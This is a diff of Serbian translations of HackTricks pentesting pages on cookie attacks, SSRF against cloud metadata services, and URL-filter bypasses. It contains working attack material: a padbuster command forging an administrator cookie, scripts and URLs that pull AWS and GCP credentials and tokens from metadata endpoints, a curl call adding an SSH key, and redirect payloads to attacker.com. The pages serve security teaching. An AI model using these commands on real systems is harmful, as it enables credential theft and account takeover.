Većina reverznih proxy servera je ranjiva na ovaj scenario, ali iskorišćavanje zavisi od prisustva spoljne SSRF ranjivosti, obično smatrane kao problem niskog stepena ozbiljnosti.
Većina obrnutih proksija je ranjiva na ovaj scenario, ali iskorišćavanje zavisi od prisustva spoljne SSRF ranjivosti, obično smatrane kao problem niskog stepena ozbiljnosti.
#### Laboratorije

View file

@ -2,11 +2,11 @@
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Naučite hakovanje AWS od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -47,7 +47,7 @@ Kada dva kolačića nose isto ime, onaj koji se bira za slanje zavisi od:
### SameSite
* Atribut `SameSite` diktira da li se kolačići šalju na zahteve koji potiču sa domena trećih strana. Nudi tri podešavanja:
* Atribut `SameSite` diktira da li se kolačići šalju na zahteve koji potiču sa domena treće strane. Nudi tri podešavanja:
* **Strict**: Ograničava slanje kolačića na zahtevima trećih strana.
* **Lax**: Dozvoljava slanje kolačića sa GET zahtevima pokrenutim od strane trećih veb sajtova.
* **None**: Dozvoljava slanje kolačića sa bilo kog domena treće strane.
@ -68,7 +68,7 @@ Tabela preuzeta sa [Invicti](https://www.netsparker.com/blog/web-security/same-s
Kolačić sa _**SameSite**_ atributom će **umanjiti CSRF napade** gde je potrebna prijavljena sesija.
**\*Primetite da od Chrome80 (feb/2019) podrazumevano ponašanje kolačića bez SameSite** **atributa će biti lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
Primetite da privremeno, nakon primene ove promene, **kolačići bez SameSite** **političke** u Chrome-u će biti **tretirani kao None** tokom **prvih 2 minuta, a zatim kao Lax za POST zahteve preko glavnog nivoa domena.**
Primetite da privremeno, nakon primene ove promene, **kolačići bez SameSite** **političke** u Chrome-u će biti **tretirani kao None** tokom **prvih 2 minuta, a zatim kao Lax za POST zahteve preko glavnog nivoa preko sajta.**
## Zastave kolačića
@ -80,7 +80,7 @@ Ovo sprečava **klijenta** da pristupi kolačiću (Na primer putem **Javascript-
* Ako stranica **šalje kolačiće kao odgovor** na zahteve (na primer na **PHPinfo** stranici), moguće je zloupotrebiti XSS da se pošalje zahtev ovoj stranici i **ukrade kolačiće** iz odgovora (proverite primer na [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
* Ovo može biti zaobiđeno sa **TRACE** **HTTP** zahtevima jer će odgovor sa servera (ako je ovaj HTTP metod dostupan) odražavati poslate kolačiće. Ova tehnika se naziva **Cross-Site Tracking**.
* Ova tehnika se izbegava od strane **modernih pregledača ne dozvoljavajući slanje TRACE** zahteva iz JS-a. Međutim, neki načini zaobiđanja ove zabrane su pronađeni u specifičnim softverima poput slanja `\r\nTRACE` umesto `TRACE` IE6.0 SP2.
* Ova tehnika se izbegava od strane **modernih pregledača ne dozvoljavajući slanje TRACE** zahteva iz JS-a. Međutim, neki načini zaobiđenja ove zabrane su pronađeni u specifičnim softverima poput slanja `\r\nTRACE` umesto `TRACE` ka IE6.0 SP2.
* Drugi način je iskorišćavanje zero/day ranjivosti pregledača.
* Moguće je **prepisati HttpOnly kolačiće** izvođenjem napada prelivanja Cookie Jar-a:
@ -88,7 +88,7 @@ Ovo sprečava **klijenta** da pristupi kolačiću (Na primer putem **Javascript-
[cookie-jar-overflow.md](cookie-jar-overflow.md)
{% endcontent-ref %}
* Moguće je koristiti [**Napad Cookie Smuggling**](./#cookie-smuggling) za eksfiltraciju ovih kolačića
* Moguće je koristiti [**Cookie Smuggling**](./#cookie-smuggling) napad za eksfiltraciju ovih kolačića
### Secure
@ -108,11 +108,11 @@ Za kolačiće sa prefiksom `__Host-`, moraju se ispuniti nekoliko uslova:
Važno je napomenuti da kolačići sa prefiksom `__Host-` nisu dozvoljeni da se šalju superdomenima ili poddomenima. Ova zabrana pomaže u izolovanju aplikacionih kolačića. Stoga, korišćenje prefiksa `__Host-` za sve aplikacione kolačiće može se smatrati dobrom praksom za poboljšanje sigurnosti i izolacije.
### Prepisivanje kolačića
Dakle, jedna od zaštita `__Host-` prefiksnih kolačića je sprečavanje prepisivanja sa poddomena. Na primer, sprečavanje [**napada Cookie Tossing**](cookie-tossing.md). U predavanju [**Cookie Crumbles: Otkrivanje ranjivosti integriteta sesije na vebu**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**rad**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) prikazano je da je bilo moguće postaviti `__HOST-` prefiksne kolačiće sa poddomena, prevareći parser, na primer, dodavanjem "=" na početku ili na početku i na kraju...:
Dakle, jedna od zaštita `__Host-` prefiksnih kolačića je sprečavanje prepisivanja sa poddomena. Na primer, sprečavanje [**napada bacanja kolačića**](cookie-tossing.md). U predavanju [**Cookie Crumbles: Otkrivanje ranjivosti integriteta sesije na vebu**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**rad**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) prikazano je da je bilo moguće postaviti `__HOST-` prefiksne kolačiće sa poddomena, prevareći parser, na primer, dodavanjem "=" na početku ili na početku i na kraju...:
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Ili u PHP-u je bilo moguće dodati **druge znakove na početku** imena kolačića koji će biti **zamenjeni donjom crtom** znakovima, omogućavajući prepisivanje `__HOST-` kolačića:
Ili u PHP-u bilo je moguće dodati **druge znakove na početku** imena kolačića koji će biti **zamenjeni donjom crtom** znakovima, omogućavajući prepisivanje `__HOST-` kolačića:
<figure><img src="../../.gitbook/assets/image (1).png" alt="" width="373"><figcaption></figcaption></figure>
@ -122,7 +122,7 @@ Ako prilagođeni kolačić sadrži osetljive podatke, proverite ga (posebno ako
### Dekodiranje i Manipulacija Kolačićima
Osetljivi podaci ugrađeni u kolačiće uvek treba da budu pažljivo pregledani. Kolačići kodirani u Base64 ili sličnim formatima često mogu biti dekodirani. Ova ranjivost omogućava napadačima da menjaju sadržaj kolačića i predstavljaju se kao drugi korisnici enkodirajući svoje izmenjene podatke nazad u kolačić.
Osetljivi podaci ugrađeni u kolačiće uvek treba da budu pažljivo pregledani. Kolačići kodirani u Base64 ili sličnim formatima često mogu biti dekodirani. Ova ranjivost omogućava napadačima da promene sadržaj kolačića i predstavljaju se kao drugi korisnici kodiranje njihovih izmenjenih podataka nazad u kolačić.
### Hakovanje Sesije
@ -130,7 +130,7 @@ Ovaj napad uključuje krađu korisnikovog kolačića kako bi se stekao neovlaš
### Fiksacija Sesije
U ovom scenariju, napadač vara žrtvu da koristi određeni kolačić za prijavljivanje. Ako aplikacija ne dodeli novi kolačić prilikom prijavljivanja, napadač, koji poseduje originalni kolačić, može da se predstavi kao žrtva. Ova tehnika se oslanja na to da žrtva prijavljivanje vrši sa kolačićem koji je dostavio napadač.
U ovom scenariju, napadač vara žrtvu da koristi određeni kolačić za prijavljivanje. Ako aplikacija ne dodeli novi kolačić prilikom prijavljivanja, napadač, koji poseduje originalni kolačić, može da se predstavi kao žrtva. Ova tehnika se oslanja na to da žrtva prijavljivanje vrši sa kolačićem koji je obezbedio napadač.
Ako pronađete **XSS u poddomenu** ili **kontrolišete poddomen**, pročitajte:
@ -140,7 +140,7 @@ Ako pronađete **XSS u poddomenu** ili **kontrolišete poddomen**, pročitajte:
### Donacija Sesije
Ovde, napadač ubedi žrtvu da koristi sesioni kolačić napadača. Žrtva, verujući da je prijavljena na svoj nalog, nenamerno obavlja radnje u kontekstu naloga napadača.
Ovde, napadač ubedi žrtvu da koristi sesijski kolačić napadača. Žrtva, verujući da je prijavljena na svoj nalog, nenamerno će izvršiti radnje u kontekstu naloga napadača.
Ako pronađete **XSS u poddomenu** ili **kontrolišete poddomen**, pročitajte:
@ -160,7 +160,7 @@ Ovaj napad prisiljava prijavljenog korisnika da izvrši neželjene radnje na veb
### Prazni Kolačići
(Proverite dalje detalje u [originalnom istraživanju](https://blog.ankursundara.com/cookie-bugs/)) Pretraživači dozvoljavaju kreiranje kolačića bez imena, što se može demonstrirati putem JavaScript-a kako sledi:
(Proverite dalje detalje u [originalnom istraživanju](https://blog.ankursundara.com/cookie-bugs/)) Preglednici dozvoljavaju kreiranje kolačića bez imena, što se može demonstrirati putem JavaScript-a kako sledi:
```js
document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
@ -176,9 +176,9 @@ setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's valu
```
Ovo dovodi do toga da pregledač šalje zaglavlje kolačića koje svaki veb server tumači kao kolačić pod imenom `a` sa vrednošću `b`.
#### Chrome Bag: Pitanje kôdne tačke zamene Unicode-a
#### Chrome Bag: Pitanje sa kodnom tačkom zamene Unicode
U Chrome-u, ako je zamena Unicode-a deo postavljenog kolačića, `document.cookie` postaje oštećen, vraćajući prazan niz naknadno:
U Chrome-u, ako je kodna tačka zamene Unicode-a deo postavljenog kolačića, `document.cookie` postaje oštećen, vraćajući prazan niz naknadno:
```js
document.cookie = "\ud800=meep";
```
@ -192,7 +192,7 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
```
#### Vulnerabilnosti ubacivanja kolačića
(Proverite detalje u [originalnom istraživanju](https://blog.ankursundara.com/cookie-bugs/)) Neispravno parsiranje kolačića od strane servera, posebno Undertow-a, Zope-a, i onih koji koriste Python-ove `http.cookie.SimpleCookie` i `http.cookie.BaseCookie`, stvara mogućnosti za napade ubacivanjem kolačića. Ovi serveri ne uspevaju pravilno da ograniče početak novih kolačića, omogućavajući napadačima da falsifikuju kolačiće:
(Proverite dalje detalje u [originalnom istraživanju](https://blog.ankursundara.com/cookie-bugs/)) Neispravno parsiranje kolačića od strane servera, posebno Undertow-a, Zope-a, i onih koji koriste Python-ove `http.cookie.SimpleCookie` i `http.cookie.BaseCookie`, stvara mogućnosti za napade ubacivanjem kolačića. Ovi serveri ne uspevaju pravilno da ograniče početak novih kolačića, omogućavajući napadačima da falsifikuju kolačiće:
- Undertow očekuje novi kolačić odmah nakon navodne vrednosti bez tačke-zareza.
- Zope traži zarez da bi počeo parsiranje sledećeg kolačića.
@ -204,20 +204,20 @@ Ova ranjivost je posebno opasna u veb aplikacijama koje se oslanjaju na CSRF za
#### **Osnovne provere**
- **Kolačić** je **isti** svaki put kada se **ulogujete**.
- Odjavite se i pokušajte da koristite isti kolačić.
- Pokušajte da se ulogujete sa 2 uređaja (ili pregledača) na isti nalog koristeći isti kolačić.
- Proverite da li kolačić sadrži neke informacije i pokušajte da ga izmenite.
- Pokušajte da kreirate nekoliko naloga sa gotovo istim korisničkim imenima i proverite da li možete primetiti sličnosti.
- Proverite da li postoji opcija "**zapamti me**" i kako funkcioniše. Ako postoji i može biti ranjiva, uvek koristite kolačić od **zapamti me** bez bilo kog drugog kolačića.
- **Kolačić** je **isti** svaki put kada se **prijavite**.
- Odjavite se i pokušajte koristiti isti kolačić.
- Pokušajte se prijaviti sa 2 uređaja (ili pregledača) na isti nalog koristeći isti kolačić.
- Proverite da li kolačić sadrži neke informacije i pokušajte ih izmeniti.
- Pokušajte kreirati nekoliko naloga sa gotovo istim korisničkim imenima i proverite da li možete primetiti sličnosti.
- Proverite da li postoji opcija "**zapamti me**" da biste videli kako funkcioniše. Ako postoji i može biti ranjiva, uvek koristite kolačić od **zapamti me** bez bilo kog drugog kolačića.
- Proverite da li prethodni kolačić radi čak i nakon što promenite lozinku.
#### **Napadi naprednih kolačića**
Ako kolačić ostaje isti (ili gotovo isti) kada se ulogujete, to verovatno znači da je kolačić povezan sa nekim poljem vašeg naloga (verovatno korisničkim imenom). Tada možete:
Ako kolačić ostaje isti (ili skoro isti) kada se prijavite, to verovatno znači da je kolačić povezan sa nekim poljem vašeg naloga (verovatno korisničkim imenom). Tada možete:
- Pokušajte da kreirate mnogo **naloga** sa veoma **sličnim** korisničkim imenima i pokušajte da **pogodite** kako algoritam funkcioniše.
- Pokušajte da **bruteforcujete korisničko ime**. Ako kolačić čuva samo kao autentifikacioni metod za vaše korisničko ime, možete kreirati nalog sa korisničkim imenom "**Bmin**" i **bruteforcovati** svaki **bit** vašeg kolačića jer će jedan od kolačića koje ćete probati biti onaj koji pripada "**admin**".
- Pokušajte kreirati mnogo **naloga** sa veoma **sličnim** korisničkim imenima i pokušajte **pogoditi** kako algoritam funkcioniše.
- Pokušajte **bruteforce** korisničko ime. Ako kolačić čuva samo kao metod autentifikacije za vaše korisničko ime, možete kreirati nalog sa korisničkim imenom "**Bmin**" i **bruteforce** svaki pojedinačni **bit** vašeg kolačića jer će jedan od kolačića koje ćete probati biti onaj koji pripada "**admin**".
- Pokušajte **Padding** **Oracle** (možete dešifrovati sadržaj kolačića). Koristite **padbuster**.
**Padding Oracle - Primeri Padbuster-a**
@ -238,7 +238,7 @@ Ako je napad uspešno izvršen, možete pokušati da šifrujete niz po vašem iz
```
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
```
Ova izvršna datoteka će vam dati kolačić ispravno šifrovan i enkodiran sa stringom **user=administrator** unutra.
Ova izvršna datoteka će vam dati kolačić ispravno šifrovan i enkodiran sa stringom **user=administrator** unutar.
**CBC-MAC**
@ -253,7 +253,7 @@ Možda bi kolačić mogao imati neku vrednost i biti potpisan korišćenjem CBC.
**ECB**
Ako je kolačić šifrovan korišćenjem ECB, može biti ranjiv.\
Kada se prijavite, kolačić koji dobijete mora uvek biti isti.
Kada se prijavite, kolačić koji dobijete uvek mora biti isti.
**Kako otkriti i napasti:**
@ -261,7 +261,7 @@ Napravite 2 korisnika sa skoro istim podacima (korisničko ime, lozinka, email,
Napravite korisnika nazvanog na primer "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" i proverite da li postoji neki obrazac u kolačiću (kako ECB šifruje sa istim ključem svaki blok, isti šifrovani bajtovi mogu se pojaviti ako je korisničko ime šifrovano).
Treba da postoji obrazac (sa veličinom korišćenog bloka). Tako, znajući kako su grupa "a" šifrovani, možete kreirati korisničko ime: "a"\*(veličina bloka)+"admin". Zatim, možete izbrisati šifrovani obrazac bloka "a" iz kolačića. I imaćete kolačić korisničkog imena "admin".
Treba da postoji obrazac (sa veličinom korišćenog bloka). Tako, znajući kako su grupa "a" šifrovani, možete kreirati korisničko ime: "a"\*(veličina bloka)+"admin". Zatim, možete izbrisati šifrovan obrazac bloka "a" iz kolačića. I imaćete kolačić korisničkog imena "admin".
## Reference
@ -270,7 +270,7 @@ Treba da postoji obrazac (sa veličinom korišćenog bloka). Tako, znajući kako
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -284,6 +284,6 @@ Drugi načini podrške HackTricks-u:
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Podelite svoje hakovanje trikove podnošenjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijumima.
</details>

View file

@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -26,12 +26,12 @@ Drugi načini podrške HackTricks-u:
### Zloupotreba SSRF-a u AWS EC2 okruženju
**Metadata** endpoint može biti pristupačan sa bilo kog EC2 mašine i nudi zanimljive informacije o njoj. Dostupan je na adresi: `http://169.254.169.254` ([informacije o metapodacima ovde](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
**Metadata** endpoint može biti pristupačan sa bilo kog EC2 mašine i nudi zanimljive informacije o njoj. Dostupan je na url-u: `http://169.254.169.254` ([informacije o metapodacima ovde](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
Postoje **2 verzije** metadata endpointa. **Prva** verzija omogućava pristup endpointu putem **GET** zahteva (tako da ga bilo koji **SSRF može iskoristiti**). Za **verziju 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), morate zatražiti **token** slanjem **PUT** zahteva sa **HTTP zaglavljem** i zatim koristiti taj token za pristup metapodacima sa drugim HTTP zaglavljem (tako da je **komplikovanije zloupotrebiti** sa SSRF-om).
{% hint style="danger" %}
Imajte na umu da ako EC2 instanca primenjuje IMDSv2, [**prema dokumentaciji**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **odgovor na PUT zahtev** će imati **limit skoka od 1**, što onemogućava pristup metapodacima EC2 iz kontejnera unutar EC2 instance.
Imajte na umu da ako EC2 instanca primenjuje IMDSv2, [**prema dokumentaciji**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **odgovor na PUT zahtev** će imati **limit preusmeravanja od 1**, što čini nemogućim pristup metapodacima EC2 iz kontejnera unutar EC2 instance.
Osim toga, **IMDSv2** će takođe **blokirati zahteve za dobijanje tokena koji uključuju zaglavlje `X-Forwarded-For`**. Ovo je kako bi se sprečilo da netačno konfigurisani obrnuti proxy serveri mogu pristupiti tome.
{% endhint %}
@ -96,13 +96,13 @@ echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
```
Kao primer izloženih **IAM kredencijala** koji su javno dostupni, možete posetiti: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
Kao primer izloženih **javno dostupnih IAM akreditiva** možete posetiti: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
Takođe možete proveriti javne **EC2 bezbednosne kredencijale** na: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
Takođe možete proveriti javne **EC2 bezbednosne akreditive** na: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
Zatim možete **koristiti te kredencijale sa AWS CLI**. To će vam omogućiti da radite **sve što ta uloga ima dozvole** da radi.
Zatim možete **koristiti te akreditive sa AWS CLI**. To će vam omogućiti da radite **sve što ta uloga ima dozvolu da radi**.
Da biste iskoristili nove kredencijale, moraćete da kreirate novi AWS profil kao ovaj:
Da biste iskoristili nove akreditive, moraćete da kreirate novi AWS profil kao ovaj:
```
[profilename]
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
@ -111,7 +111,7 @@ aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4
```
Primetite **aws\_session\_token**, to je neophodno da bi profil radio.
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) se može koristiti sa otkrivenim pristupnim podacima kako bi se saznale vaše privilegije i pokušalo eskalirati privilegije
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) se može koristiti sa otkrivenim pristupnim podacima da biste saznali vaše privilegije i pokušali da eskalirate privilegije
### SSRF u AWS ECS (Container Service) pristupnim podacima
@ -137,10 +137,10 @@ U ovom slučaju, **poverljivi podaci se čuvaju u env promenljivama**. Dakle, da
* `AWS_SECRET_ACCESS_KEY`
* `AWS_ACCES_KEY_ID`
Pored IAM akreditiva, Lambda funkcije takođe imaju **podatke događaja koji se prosleđuju funkciji prilikom pokretanja**. Ovi podaci su dostupni funkciji putem [interfejsa za izvršavanje](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) i mogu sadržati **poverljive informacije** (kao unutar **stageVariables**). Za razliku od IAM akreditiva, ovi podaci su dostupni putem standardnog SSRF-a na **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
Pored IAM podataka, Lambda funkcije takođe imaju **podatke događaja koji se prosleđuju funkciji prilikom pokretanja**. Ovi podaci su dostupni funkciji putem [interfejsa za izvršavanje](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) i mogu sadržati **poverljive informacije** (kao unutar **stageVariables**). Za razliku od IAM podataka, ovi podaci su dostupni putem standardnog SSRF-a na **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
{% hint style="warning" %}
Imajte na umu da su **akreditivi lambda funkcija** unutar **env promenljivih**. Dakle, ako **stek trag** koda lambda funkcije štampa env promenljive, moguće je **izvući ih izazivajući grešku** u aplikaciji.
Imajte na umu da su **Lambda poverljivi podaci** unutar **env promenljivih**. Dakle, ako **stek trag** koda lambda funkcije štampa env promenljive, moguće je **izvući ih izazivajući grešku** u aplikaciji.
{% endhint %}
### SSRF URL za AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>
@ -164,7 +164,7 @@ Možete [**ovde pronaći dokumentaciju o krajnjim tačkama metapodataka**](https
### SSRF URL za Google Cloud <a href="#id-6440" id="id-6440"></a>
Zahteva HTTP zaglavlje **`Metadata-Flavor: Google`** i možete pristupiti krajnjoj tački metapodataka sa sledećim URL-ovima:
Potreban je HTTP zaglavlje **`Metadata-Flavor: Google`** i možete pristupiti krajnjoj tački metapodataka sa sledećim URL-ovima:
* http://169.254.169.254
* http://metadata.google.internal
@ -255,7 +255,7 @@ http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
```
{% hint style="danger" %}
Da biste **koristili token za servisni nalog koji je eksfiltriran**, jednostavno možete:
Da biste **koristili ukradeni token naloga za usluge**, jednostavno uradite sledeće:
```bash
# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
@ -269,9 +269,9 @@ gcloud config unset auth/access_token_file
```
{% endhint %}
### Dodaj SSH ključ <a href="#id-3e24" id="id-3e24"></a>
### Dodavanje SSH ključa <a href="#id-3e24" id="id-3e24"></a>
Izvuci token
Izvucite token
```
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
```
@ -298,7 +298,7 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
### Cloud Functions <a href="#id-9f1f" id="id-9f1f"></a>
Metadata endpoint radi na isti način kao i kod VM-ova, ali bez nekih endpointa:
Metadata endpoint radi na isti način kao i kod virtuelnih mašina, ali bez nekih endpointa:
```bash
# /project
# Project name and number
@ -326,7 +326,7 @@ done
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
{% hint style="warning" %}
Nema stvari poput AWS uloga ili GCP servisnog naloga, stoga nemojte očekivati da pronađete metapodatke o akreditacijama
Nema stvari poput AWS uloga ili GCP servisnog naloga, stoga nemojte očekivati da pronađete metapodatke bot kredencijala
{% endhint %}
Dokumentacija dostupna na [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
@ -542,7 +542,7 @@ Kubernetes ETCD može sadržati API ključeve, interne IP adrese i portove. Pris
## Docker
Docker metapodaci mogu se pristupiti lokalno, sa primerima za dobijanje informacija o kontejnerima i slikama:
Docker metapodaci se mogu pristupiti lokalno, sa primerima za dobijanje informacija o kontejnerima i slikama:
* Jednostavan primer za pristup metapodacima kontejnera i slika putem Docker socketa:
* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
@ -552,6 +552,6 @@ Docker metapodaci mogu se pristupiti lokalno, sa primerima za dobijanje informac
## Rancher
Metapodaci Rancher-a mogu se pristupiti korišćenjem:
Metapodaci Rancher-a se mogu pristupiti korišćenjem:
* `curl http://rancher-metadata/<version>/<path>`

View file

@ -1,4 +1,4 @@
# Bypassovanje URL formata
# Bypassovanje formata URL-a
<details>
@ -6,9 +6,9 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -93,7 +93,7 @@ spoofed.burpcollaborator.net = 127.0.0.1
```
![](<../../.gitbook/assets/image (649) (1) (1).png>)
**Burp ekstenzija** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implementira zaobilaznice za formatiranje IP adrese.
**Burp ekstenzija** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implementira zaobilaznice za formatiranje IP adresa.
### Parser domena
```bash
@ -161,19 +161,19 @@ next={domain}&next=attacker.com
```
### Bypass putanja i ekstenzija
Ako je potrebno da URL završava putanjom ili ekstenzijom, ili da sadrži putanju, možete probati jedan od sledećih načina zaobilaženja:
Ako je potrebno da URL završava putanjom ili ekstenzijom, ili da sadrži putanju, možete pokušati jedan od sledećih načina zaobilaženja:
```
https://metadata/vulerable/path#/expected/path
